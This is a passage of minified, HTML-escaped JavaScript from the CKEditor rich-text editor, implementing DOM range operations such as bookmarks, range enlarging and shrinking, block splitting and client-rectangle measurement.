d(this,2,b,!1,&quot;undefined&quot;==typeof a?!0:a);return b},deleteContents:function(a){this.collapsed||d(this,0,null,a)},extractContents:function(a,b){var c=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||d(this,1,c,a,&quot;undefined&quot;==typeof b?!0:b);return c},createBookmark:function(a){var b,c,d,f,g=this.collapsed;b=this.document.createElement(&quot;span&quot;);b.data(&quot;cke-bookmark&quot;,1);b.setStyle(&quot;display&quot;,&quot;none&quot;);b.setHtml(&quot;\x26nbsp;&quot;);a&amp;&amp;(d=&quot;cke_bm_&quot;+CKEDITOR.tools.getNextNumber(),b.setAttribute(&quot;id&quot;,
d+(g?&quot;C&quot;:&quot;S&quot;)));g||(c=b.clone(),c.setHtml(&quot;\x26nbsp;&quot;),a&amp;&amp;c.setAttribute(&quot;id&quot;,d+&quot;E&quot;),f=this.clone(),f.collapse(),f.insertNode(c));f=this.clone();f.collapse(!0);f.insertNode(b);c?(this.setStartAfter(b),this.setEndBefore(c)):this.moveToPosition(b,CKEDITOR.POSITION_AFTER_END);return{startNode:a?d+(g?&quot;C&quot;:&quot;S&quot;):b,endNode:a?d+&quot;E&quot;:c,serializable:a,collapsed:g}},createBookmark2:function(){function a(b){var e=b.container,d=b.offset,m;m=e;var f=d;m=m.type!=CKEDITOR.NODE_ELEMENT||0===f||f==m.getChildCount()?
0:m.getChild(f-1).type==CKEDITOR.NODE_TEXT&amp;&amp;m.getChild(f).type==CKEDITOR.NODE_TEXT;m&amp;&amp;(e=e.getChild(d-1),d=e.getLength());if(e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;0&lt;d){a:{for(m=e;d--;)if(f=m.getChild(d).getIndex(!0),0&lt;=f){d=f;break a}d=-1}d+=1}if(e.type==CKEDITOR.NODE_TEXT){m=e;for(f=0;(m=m.getPrevious())&amp;&amp;m.type==CKEDITOR.NODE_TEXT;)f+=m.getText().replace(CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE,&quot;&quot;).length;m=f;e.getText()?d+=m:(f=e.getPrevious(c),m?(d=m,e=f?f.getNext():e.getParent().getFirst()):(e=
e.getParent(),d=f?f.getIndex(!0)+1:0))}b.container=e;b.offset=d}function b(a,c){var e=c.getCustomData(&quot;cke-fillingChar&quot;);if(e){var d=a.container;e.equals(d)&amp;&amp;(a.offset-=CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE.length,0&gt;=a.offset&amp;&amp;(a.offset=d.getIndex(),a.container=d.getParent()))}}var c=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_TEXT,!0);return function(c){var d=this.collapsed,f={container:this.startContainer,offset:this.startOffset},m={container:this.endContainer,offset:this.endOffset};c&amp;&amp;(a(f),
b(f,this.root),d||(a(m),b(m,this.root)));return{start:f.container.getAddress(c),end:d?null:m.container.getAddress(c),startOffset:f.offset,endOffset:m.offset,normalized:c,collapsed:d,is2:!0}}}(),moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),c=a.startOffset,d=a.end&amp;&amp;this.document.getByAddress(a.end,a.normalized);a=a.endOffset;this.setStart(b,c);d?this.setEnd(d,a):this.collapse(!0)}else b=(c=a.serializable)?this.document.getById(a.startNode):a.startNode,
a=c?this.document.getById(a.endNode):a.endNode,this.setStartBefore(b),b.remove(),a?(this.setEndBefore(a),a.remove()):this.collapse(!0)},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,c=this.startOffset,d=this.endOffset,f;if(a.type==CKEDITOR.NODE_ELEMENT)if(f=a.getChildCount(),f&gt;c)a=a.getChild(c);else if(1&gt;f)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}if(b.type==CKEDITOR.NODE_ELEMENT)if(f=b.getChildCount(),
f&gt;d)b=b.getChild(d).getPreviousSourceNode(!0);else if(1&gt;f)b=b.getPreviousSourceNode();else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}a.getPosition(b)&amp;CKEDITOR.POSITION_FOLLOWING&amp;&amp;(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var c=this.startContainer,d=this.endContainer,c=c.equals(d)?a&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;this.startOffset==this.endOffset-1?c.getChild(this.startOffset):c:c.getCommonAncestor(d);return b&amp;&amp;!c.is?c.getParent():c},optimize:function(){var a=
this.startContainer,b=this.startOffset;a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b?b&gt;=a.getLength()&amp;&amp;this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b?b&gt;=a.getLength()&amp;&amp;this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&amp;&amp;a.is(&quot;span&quot;)&amp;&amp;a.data(&quot;cke-bookmark&quot;)&amp;&amp;this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&amp;&amp;b.is&amp;&amp;b.is(&quot;span&quot;)&amp;&amp;b.data(&quot;cke-bookmark&quot;)&amp;&amp;this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},
trim:function(a,b){var c=this.startContainer,d=this.startOffset,f=this.collapsed;if((!a||f)&amp;&amp;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT){if(d)if(d&gt;=c.getLength())d=c.getIndex()+1,c=c.getParent();else{var g=c.split(d),d=c.getIndex()+1,c=c.getParent();this.startContainer.equals(this.endContainer)?this.setEnd(g,this.endOffset-this.startOffset):c.equals(this.endContainer)&amp;&amp;(this.endOffset+=1)}else d=c.getIndex(),c=c.getParent();this.setStart(c,d);if(f){this.collapse(!0);return}}c=this.endContainer;d=this.endOffset;
b||f||!c||c.type!=CKEDITOR.NODE_TEXT||(d?(d&gt;=c.getLength()||c.split(d),d=c.getIndex()+1):d=c.getIndex(),c=c.getParent(),this.setEnd(c,d))},enlarge:function(a,b){function c(a){return a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;contenteditable&quot;)?null:a}var d=new RegExp(/[^\s\ufeff]/);switch(a){case CKEDITOR.ENLARGE_INLINE:var f=1;case CKEDITOR.ENLARGE_ELEMENT:var g=function(a,b){var c=new CKEDITOR.dom.range(h);c.setStart(a,b);c.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);var c=new CKEDITOR.dom.walker(c),
e;for(c.guard=function(a){return!(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.isBlockBoundary())};e=c.next();){if(e.type!=CKEDITOR.NODE_TEXT)return!1;N=e!=a?e.getText():e.substring(b);if(d.test(N))return!1}return!0};if(this.collapsed)break;var m=this.getCommonAncestor(),h=this.root,k,q,n,r,C,L=!1,D,N;D=this.startContainer;var t=this.startOffset;D.type==CKEDITOR.NODE_TEXT?(t&amp;&amp;(D=!CKEDITOR.tools.trim(D.substring(0,t)).length&amp;&amp;D,L=!!D),D&amp;&amp;((r=D.getPrevious())||(n=D.getParent()))):(t&amp;&amp;(r=D.getChild(t-1)||D.getLast()),
r||(n=D));for(n=c(n);n||r;){if(n&amp;&amp;!r){!C&amp;&amp;n.equals(m)&amp;&amp;(C=!0);if(f?n.isBlockBoundary():!h.contains(n))break;L&amp;&amp;&quot;inline&quot;==n.getComputedStyle(&quot;display&quot;)||(L=!1,C?k=n:this.setStartBefore(n));r=n.getPrevious()}for(;r;)if(D=!1,r.type==CKEDITOR.NODE_COMMENT)r=r.getPrevious();else{if(r.type==CKEDITOR.NODE_TEXT)N=r.getText(),d.test(N)&amp;&amp;(r=null),D=/[\s\ufeff]$/.test(N);else if((r.$.offsetWidth&gt;(CKEDITOR.env.webkit?1:0)||b&amp;&amp;r.is(&quot;br&quot;))&amp;&amp;!r.data(&quot;cke-bookmark&quot;))if(L&amp;&amp;CKEDITOR.dtd.$removeEmpty[r.getName()]){N=
r.getText();if(d.test(N))r=null;else for(var t=r.$.getElementsByTagName(&quot;*&quot;),E=0,y;y=t[E++];)if(!CKEDITOR.dtd.$removeEmpty[y.nodeName.toLowerCase()]){r=null;break}r&amp;&amp;(D=!!N.length)}else r=null;D&amp;&amp;(L?C?k=n:n&amp;&amp;this.setStartBefore(n):L=!0);if(r){D=r.getPrevious();if(!n&amp;&amp;!D){n=r;r=null;break}r=D}else n=null}n&amp;&amp;(n=c(n.getParent()))}D=this.endContainer;t=this.endOffset;n=r=null;C=L=!1;D.type==CKEDITOR.NODE_TEXT?CKEDITOR.tools.trim(D.substring(t)).length?L=!0:(L=!D.getLength(),t==D.getLength()?(r=D.getNext())||
(n=D.getParent()):g(D,t)&amp;&amp;(n=D.getParent())):(r=D.getChild(t))||(n=D);for(;n||r;){if(n&amp;&amp;!r){!C&amp;&amp;n.equals(m)&amp;&amp;(C=!0);if(f?n.isBlockBoundary():!h.contains(n))break;L&amp;&amp;&quot;inline&quot;==n.getComputedStyle(&quot;display&quot;)||(L=!1,C?q=n:n&amp;&amp;this.setEndAfter(n));r=n.getNext()}for(;r;){D=!1;if(r.type==CKEDITOR.NODE_TEXT)N=r.getText(),g(r,0)||(r=null),D=/^[\s\ufeff]/.test(N);else if(r.type==CKEDITOR.NODE_ELEMENT){if((0&lt;r.$.offsetWidth||b&amp;&amp;r.is(&quot;br&quot;))&amp;&amp;!r.data(&quot;cke-bookmark&quot;))if(L&amp;&amp;CKEDITOR.dtd.$removeEmpty[r.getName()]){N=
r.getText();if(d.test(N))r=null;else for(t=r.$.getElementsByTagName(&quot;*&quot;),E=0;y=t[E++];)if(!CKEDITOR.dtd.$removeEmpty[y.nodeName.toLowerCase()]){r=null;break}r&amp;&amp;(D=!!N.length)}else r=null}else D=1;D&amp;&amp;L&amp;&amp;(C?q=n:this.setEndAfter(n));if(r){D=r.getNext();if(!n&amp;&amp;!D){n=r;r=null;break}r=D}else n=null}n&amp;&amp;(n=c(n.getParent()))}k&amp;&amp;q&amp;&amp;(m=k.contains(q)?q:k,this.setStartBefore(m),this.setEndAfter(m));break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:n=new CKEDITOR.dom.range(this.root);
h=this.root;n.setStartAt(h,CKEDITOR.POSITION_AFTER_START);n.setEnd(this.startContainer,this.startOffset);n=new CKEDITOR.dom.walker(n);var I,P,O=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),l=null,K=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;false&quot;==a.getAttribute(&quot;contenteditable&quot;))if(l){if(l.equals(a)){l=null;return}}else l=a;else if(l)return;var b=O(a);b||(I=a);return b},f=function(a){var b=K(a);!b&amp;&amp;a.is&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;(P=a);return b};n.guard=K;n=n.lastBackward();
I=I||h;this.setStartAt(I,!I.is(&quot;br&quot;)&amp;&amp;(!n&amp;&amp;this.checkStartOfBlock()||n&amp;&amp;I.contains(n))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END);if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){n=this.clone();n=new CKEDITOR.dom.walker(n);var B=CKEDITOR.dom.walker.whitespaces(),A=CKEDITOR.dom.walker.bookmark();n.evaluator=function(a){return!B(a)&amp;&amp;!A(a)};if((n=n.previous())&amp;&amp;n.type==CKEDITOR.NODE_ELEMENT&amp;&amp;n.is(&quot;br&quot;))break}n=this.clone();n.collapse();n.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);n=new CKEDITOR.dom.walker(n);
n.guard=a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?f:K;I=l=P=null;n=n.lastForward();I=I||h;this.setEndAt(I,!n&amp;&amp;this.checkEndOfBlock()||n&amp;&amp;I.contains(n)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);P&amp;&amp;this.setEndAfter(P)}},shrink:function(a,b,c){var d=&quot;boolean&quot;===typeof c?c:c&amp;&amp;&quot;boolean&quot;===typeof c.shrinkOnBlockBoundary?c.shrinkOnBlockBoundary:!0,f=c&amp;&amp;c.skipBogus;if(!this.collapsed){a=a||CKEDITOR.SHRINK_TEXT;var g=this.clone(),m=this.startContainer,h=this.endContainer,k=this.startOffset,
q=this.endOffset,n=c=1;m&amp;&amp;m.type==CKEDITOR.NODE_TEXT&amp;&amp;(k?k&gt;=m.getLength()?g.setStartAfter(m):(g.setStartBefore(m),c=0):g.setStartBefore(m));h&amp;&amp;h.type==CKEDITOR.NODE_TEXT&amp;&amp;(q?q&gt;=h.getLength()?g.setEndAfter(h):(g.setEndAfter(h),n=0):g.setEndBefore(h));var g=new CKEDITOR.dom.walker(g),r=CKEDITOR.dom.walker.bookmark(),C=CKEDITOR.dom.walker.bogus();g.evaluator=function(b){return b.type==(a==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)};var L;g.guard=function(b,c){if(f&amp;&amp;C(b)||r(b))return!0;
if(a==CKEDITOR.SHRINK_ELEMENT&amp;&amp;b.type==CKEDITOR.NODE_TEXT||c&amp;&amp;b.equals(L)||!1===d&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.isBlockBoundary()||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.hasAttribute(&quot;contenteditable&quot;))return!1;c||b.type!=CKEDITOR.NODE_ELEMENT||(L=b);return!0};c&amp;&amp;(m=g[a==CKEDITOR.SHRINK_ELEMENT?&quot;lastForward&quot;:&quot;next&quot;]())&amp;&amp;this.setStartAt(m,b?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START);n&amp;&amp;(g.reset(),(g=g[a==CKEDITOR.SHRINK_ELEMENT?&quot;lastBackward&quot;:&quot;previous&quot;]())&amp;&amp;this.setEndAt(g,b?CKEDITOR.POSITION_BEFORE_END:
CKEDITOR.POSITION_AFTER_END));return!(!c&amp;&amp;!n)}},insertNode:function(a){this.optimizeBookmark();this.trim(!1,!0);var b=this.startContainer,c=b.getChild(this.startOffset);c?a.insertBefore(c):b.append(a);a.getParent()&amp;&amp;a.getParent().equals(this.endContainer)&amp;&amp;this.endOffset++;this.setStartBefore(a)},moveToPosition:function(a,b){this.setStartAt(a,b);this.collapse(!0)},moveToRange:function(a){this.setStart(a.startContainer,a.startOffset);this.setEnd(a.endContainer,a.endOffset)},selectNodeContents:function(a){this.setStart(a,
0);this.setEnd(a,a.type==CKEDITOR.NODE_TEXT?a.getLength():a.getChildCount())},setStart:function(b,c){b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$empty[b.getName()]&amp;&amp;(c=b.getIndex(),b=b.getParent());this._setStartContainer(b);this.startOffset=c;this.endContainer||(this._setEndContainer(b),this.endOffset=c);a(this)},setEnd:function(b,c){b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$empty[b.getName()]&amp;&amp;(c=b.getIndex()+1,b=b.getParent());this._setEndContainer(b);this.endOffset=c;this.startContainer||
(this._setStartContainer(b),this.startOffset=c);a(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function(a){this.setEnd(a.getParent(),a.getIndex())},setStartAt:function(b,c){switch(c){case CKEDITOR.POSITION_AFTER_START:this.setStart(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setStart(b,
b.getLength()):this.setStart(b,b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(b)}a(this)},setEndAt:function(b,c){switch(c){case CKEDITOR.POSITION_AFTER_START:this.setEnd(b,0);break;case CKEDITOR.POSITION_BEFORE_END:b.type==CKEDITOR.NODE_TEXT?this.setEnd(b,b.getLength()):this.setEnd(b,b.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(b);break;case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(b)}a(this)},
fixBlock:function(a,b){var c=this.createBookmark(),d=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(d);d.trim();this.insertNode(d);var f=d.getBogus();f&amp;&amp;f.remove();d.appendBogus();this.moveToBookmark(c);return d},splitBlock:function(a,b){var c=new CKEDITOR.dom.elementPath(this.startContainer,this.root),d=new CKEDITOR.dom.elementPath(this.endContainer,this.root),f=c.block,g=d.block,m=null;if(!c.blockLimit.equals(d.blockLimit))return null;
&quot;br&quot;!=a&amp;&amp;(f||(f=this.fixBlock(!0,a),g=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block),g||(g=this.fixBlock(!1,a)));c=f&amp;&amp;this.checkStartOfBlock();d=g&amp;&amp;this.checkEndOfBlock();this.deleteContents();f&amp;&amp;f.equals(g)&amp;&amp;(d?(m=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(g,CKEDITOR.POSITION_AFTER_END),g=null):c?(m=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(f,CKEDITOR.POSITION_BEFORE_START),f=null):(g=this.splitElement(f,
b||!1),f.is(&quot;ul&quot;,&quot;ol&quot;)||f.appendBogus()));return{previousBlock:f,nextBlock:g,wasStartOfBlock:c,wasEndOfBlock:d,elementPath:m}},splitElement:function(a,b){if(!this.collapsed)return null;this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var c=this.extractContents(!1,b||!1),d=a.clone(!1,b||!1);c.appendTo(d);d.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return d},removeEmptyBlocksAtEnd:function(){function a(e){return function(a){return b(a)||c(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.isEmptyInlineRemoveable()||
e.is(&quot;table&quot;)&amp;&amp;a.is(&quot;caption&quot;)?!1:!0}}var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(!1);return function(b){for(var c=this.createBookmark(),d=this[b?&quot;endPath&quot;:&quot;startPath&quot;](),m=d.block||d.blockLimit,f;m&amp;&amp;!m.equals(d.root)&amp;&amp;!m.getFirst(a(m));)f=m.getParent(),this[b?&quot;setEndAt&quot;:&quot;setStartAt&quot;](m,CKEDITOR.POSITION_AFTER_END),m.remove(1),m=f;this.moveToBookmark(c)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,
this.root)},checkBoundaryOfElement:function(a,b){var d=b==CKEDITOR.START,f=this.clone();f.collapse(d);f[d?&quot;setStartAt&quot;:&quot;setEndAt&quot;](a,d?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);f=new CKEDITOR.dom.walker(f);f.evaluator=c(d);return f[d?&quot;checkBackward&quot;:&quot;checkForward&quot;]()},checkStartOfBlock:function(){var a=this.startContainer,c=this.startOffset;CKEDITOR.env.ie&amp;&amp;c&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=CKEDITOR.tools.ltrim(a.substring(0,c)),h.test(a)&amp;&amp;this.trim(0,1));this.trim();a=new CKEDITOR.dom.elementPath(this.startContainer,
this.root);c=this.clone();c.collapse(!0);c.setStartAt(a.block||a.blockLimit,CKEDITOR.POSITION_AFTER_START);a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkBackward()},checkEndOfBlock:function(){var a=this.endContainer,c=this.endOffset;CKEDITOR.env.ie&amp;&amp;a.type==CKEDITOR.NODE_TEXT&amp;&amp;(a=CKEDITOR.tools.rtrim(a.substring(c)),h.test(a)&amp;&amp;this.trim(1,0));this.trim();a=new CKEDITOR.dom.elementPath(this.endContainer,this.root);c=this.clone();c.collapse(!1);c.setEndAt(a.block||a.blockLimit,CKEDITOR.POSITION_BEFORE_END);
a=new CKEDITOR.dom.walker(c);a.evaluator=b();return a.checkForward()},getPreviousNode:function(a,b,c){var d=this.clone();d.collapse(1);d.setStartAt(c||this.root,CKEDITOR.POSITION_AFTER_START);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.previous()},getNextNode:function(a,b,c){var d=this.clone();d.collapse();d.setEndAt(c||this.root,CKEDITOR.POSITION_BEFORE_END);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.next()},checkReadOnly:function(){function a(b,c){for(;b;){if(b.type==
CKEDITOR.NODE_ELEMENT){if(&quot;false&quot;==b.getAttribute(&quot;contentEditable&quot;)&amp;&amp;!b.data(&quot;cke-editable&quot;))return 0;if(b.is(&quot;html&quot;)||&quot;true&quot;==b.getAttribute(&quot;contentEditable&quot;)&amp;&amp;(b.contains(c)||b.equals(c)))break}b=b.getParent()}return 1}return function(){var b=this.startContainer,c=this.endContainer;return!(a(b,c)&amp;&amp;a(c,b))}}(),moveToElementEditablePosition:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!a.isEditable(!1))return this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START),
!0;for(var c=0;a;){if(a.type==CKEDITOR.NODE_TEXT){b&amp;&amp;this.endContainer&amp;&amp;this.checkEndOfBlock()&amp;&amp;h.test(a.getText())?this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);c=1;break}if(a.type==CKEDITOR.NODE_ELEMENT)if(a.isEditable())this.moveToPosition(a,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START),c=1;else if(b&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;this.endContainer&amp;&amp;this.checkEndOfBlock())this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START);
else if(&quot;false&quot;==a.getAttribute(&quot;contenteditable&quot;)&amp;&amp;a.is(CKEDITOR.dtd.$block))return this.setStartBefore(a),this.setEndAfter(a),!0;var d=a,f=c,g=void 0;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.isEditable(!1)&amp;&amp;(g=d[b?&quot;getLast&quot;:&quot;getFirst&quot;](q));f||g||(g=d[b?&quot;getPrevious&quot;:&quot;getNext&quot;](q));a=g}return!!c},moveToClosestEditablePosition:function(a,b){var c,d=0,f,g,m=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];a?(c=new CKEDITOR.dom.range(this.root),c.moveToPosition(a,m[b?0:1])):c=this.clone();if(a&amp;&amp;
!a.is(CKEDITOR.dtd.$block))d=1;else if(f=c[b?&quot;getNextEditableNode&quot;:&quot;getPreviousEditableNode&quot;]())d=1,(g=f.type==CKEDITOR.NODE_ELEMENT)&amp;&amp;f.is(CKEDITOR.dtd.$block)&amp;&amp;&quot;false&quot;==f.getAttribute(&quot;contenteditable&quot;)?(c.setStartAt(f,CKEDITOR.POSITION_BEFORE_START),c.setEndAt(f,CKEDITOR.POSITION_AFTER_END)):!CKEDITOR.env.needsBrFiller&amp;&amp;g&amp;&amp;f.is(CKEDITOR.dom.walker.validEmptyBlockContainers)?(c.setEnd(f,0),c.collapse()):c.moveToPosition(f,m[b?1:0]);d&amp;&amp;this.moveToRange(c);return!!d},moveToElementEditStart:function(a){return this.moveToElementEditablePosition(a)},
moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,!0)},getEnclosedNode:function(){var a=this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(!1,!0),c=CKEDITOR.dom.walker.whitespaces(!0);a.evaluator=function(a){return c(a)&amp;&amp;b(a)};var d=a.next();a.reset();return d&amp;&amp;d.equals(a.previous())?d:null},getTouchedStartNode:function(){var a=this.startContainer;
return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||a},getTouchedEndNode:function(){var a=this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},getNextEditableNode:f(),getPreviousEditableNode:f(1),_getTableElement:function(a){a=a||{td:1,th:1,tr:1,tbody:1,thead:1,tfoot:1,table:1};var b=this.startContainer,c=this.endContainer,d=b.getAscendant(&quot;table&quot;,!0),f=c.getAscendant(&quot;table&quot;,!0);return d&amp;&amp;!this.root.contains(d)?
null:CKEDITOR.env.safari&amp;&amp;d&amp;&amp;c.equals(this.root)?b.getAscendant(a,!0):this.getEnclosedNode()?this.getEnclosedNode().getAscendant(a,!0):d&amp;&amp;f&amp;&amp;(d.equals(f)||d.contains(f)||f.contains(d))?b.getAscendant(a,!0):null},scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml(&quot;\x3cspan\x3e\x26nbsp;\x3c/span\x3e&quot;,this.document),b,c,d,f=this.clone();f.optimize();(d=f.startContainer.type==CKEDITOR.NODE_TEXT)?(c=f.startContainer.getText(),b=f.startContainer.split(f.startOffset),a.insertAfter(f.startContainer)):
f.insertNode(a);a.scrollIntoView();d&amp;&amp;(f.startContainer.setText(c),b.remove());a.remove()},getClientRects:function(){function a(b,c){var d=CKEDITOR.tools.array.map(b,function(a){return a}),e=new CKEDITOR.dom.range(c.root),f,g,n;c.startContainer instanceof CKEDITOR.dom.element&amp;&amp;(g=0===c.startOffset&amp;&amp;c.startContainer.hasAttribute(&quot;data-widget&quot;));c.endContainer instanceof CKEDITOR.dom.element&amp;&amp;(n=(n=c.endOffset===(c.endContainer.getChildCount?c.endContainer.getChildCount():c.endContainer.length))&amp;&amp;c.endContainer.hasAttribute(&quot;data-widget&quot;));
g&amp;&amp;e.setStart(c.startContainer.getParent(),c.startContainer.getIndex());n&amp;&amp;e.setEnd(c.endContainer.getParent(),c.endContainer.getIndex()+1);if(g||n)c=e;e=c.cloneContents();e=CKEDITOR.dom.document.prototype.find.call(e,&quot;[data-cke-widget-id]&quot;).toArray();if(e=CKEDITOR.tools.array.map(e,function(a){var b=c.root.editor;a=a.getAttribute(&quot;data-cke-widget-id&quot;);return b.widgets.instances[a].element}))return e=CKEDITOR.tools.array.map(e,function(a){var b;b=a.getParent().hasClass(&quot;cke_widget_wrapper&quot;)?a.getParent():
a;f=this.root.getDocument().$.createRange();f.setStart(b.getParent().$,b.getIndex());f.setEnd(b.getParent().$,b.getIndex()+1);b=f.getClientRects();b.widgetRect=a.getClientRect();return b},c),CKEDITOR.tools.array.forEach(e,function(a){function b(e){CKEDITOR.tools.array.forEach(d,function(b,f){var n=CKEDITOR.tools.objectCompare(a[e],b);n||(n=CKEDITOR.tools.objectCompare(a.widgetRect,b));n&amp;&amp;(Array.prototype.splice.call(d,f,a.length-e,a.widgetRect),c=!0)});c||(e&lt;d.length-1?b(e+1):d.push(a.widgetRect))}
var c;b(0)}),d}function b(a,c,e){var f;c.collapsed?e.startContainer instanceof CKEDITOR.dom.element?(a=e.checkStartOfBlock(),f=new CKEDITOR.dom.text(&quot;​&quot;),a?e.startContainer.append(f,!0):0===e.startOffset?f.insertBefore(e.startContainer.getFirst()):(e=e.startContainer.getChildren().getItem(e.startOffset-1),f.insertAfter(e)),c.setStart(f.$,0),c.setEnd(f.$,0),a=c.getClientRects(),f.remove()):e.startContainer instanceof CKEDITOR.dom.text&amp;&amp;(&quot;&quot;===e.startContainer.getText()?(e.startContainer.setText(&quot;​&quot;),
a=c.getClientRects(),e.startContainer.setText(&quot;&quot;)):a=[d(e.createBookmark())]):a=[d(e.createBookmark())];return a}function c(a,b,d){a=CKEDITOR.tools.extend({},a);b&amp;&amp;(a=CKEDITOR.tools.getAbsoluteRectPosition(d.document.getWindow(),a));!a.width&amp;&amp;(a.width=a.right-a.left);!a.height&amp;&amp;(a.height=a.bottom-a.top);return a}function d(a){var b=a.startNode;a=a.endNode;var c;b.setText(&quot;​&quot;);b.removeStyle(&quot;display&quot;);a?(a.setText(&quot;​&quot;),a.removeStyle(&quot;display&quot;),c=[b.getClientRect(),a.getClientRect()],a.remove()):c=
[b.getClientRect(),b.getClientRect()];b.remove();return{right:Math.max(c[0].right,c[1].right),bottom:Math.max(c[0].bottom,c[1].bottom),left:Math.min(c[0].left,c[1].left),top:Math.min(c[0].top,c[1].top),width:Math.abs(c[0].left-c[1].left),height:Math.max(c[0].bottom,c[1].bottom)-Math.min(c[0].top,c[1].top)}}return void 0!==this.document.getSelection?function(d){var f=this.root.getDocument().$.createRange(),m;f.setStart(this.startContainer.$,this.startOffset);f.setEnd(this.endContainer.$,this.endOffset);
m=f.getClientRects();m=a(m,this);m.length||(m=b(m,f,this));return CKEDITOR.tools.array.map(m,function(a){return c(a,d,this)},this)}:function(a){return[c(d(this.createBookmark()),a,this)]}}(),_setStartContainer:function(a){this.startContainer=a},_setEndContainer:function(a){this.endContainer=a},_find:function(a,b){var c=this.getCommonAncestor(),d=this.getBoundaryNodes(),f=[],g,m,h,k;if(c&amp;&amp;c.find)for(m=c.find(a),g=0;g&lt;m.count();g++)if(c=m.getItem(g),b||!c.isReadOnly())h=c.getPosition(d.startNode)&amp;CKEDITOR.POSITION_FOLLOWING||
